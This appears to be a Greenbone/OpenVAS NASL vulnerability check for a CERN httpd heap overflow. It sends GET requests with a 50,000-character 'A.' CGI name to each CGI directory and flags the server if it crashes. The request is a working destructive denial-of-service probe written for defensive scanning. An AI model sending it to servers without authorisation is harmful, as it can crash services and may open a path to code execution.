CERN httpd CGI name heap overflow

# SPDX-FileCopyrightText: 2005 Michel Arboi
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.17231");
  script_version("2023-07-21T05:05:22+0000");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("CERN httpd CGI name heap overflow");
  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_copyright("Copyright (C) 2005 Michel Arboi");
  script_family("Web Servers");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"solution", value:"Ask your vendor for a patch or move to another server.");

  script_tag(name:"summary", value:"It was possible to kill the remote
  web server by requesting GET /cgi-bin/A.AAAA[...]A HTTP/1.0

  This is known to trigger a heap overflow in some servers like CERN HTTPD.");

  script_tag(name:"impact", value:"A cracker may use this flaw to disrupt your server. It *might*
  also be exploitable to run malicious code on the machine.");

  script_tag(name:"solution_type", value:"VendorFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("http_func.inc");
include("port_service_func.inc");
include("list_array_func.inc");

# I never tested it against a vulnerable server

port = http_get_port( default:80 );
if( http_is_dead( port:port ) )
  exit( 0 );

foreach dir( make_list_unique( "/", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" )
    dir = "";

  url = strcat( dir, '/A.', crap( 50000 ) );
  req = http_get( item:url, port:port );
  res = http_send_recv( port:port, data:req );

  if( res == NULL && http_is_dead( port:port ) ) {
    security_message( port:port );
    exit( 0 );
  }
}

exit( 99 );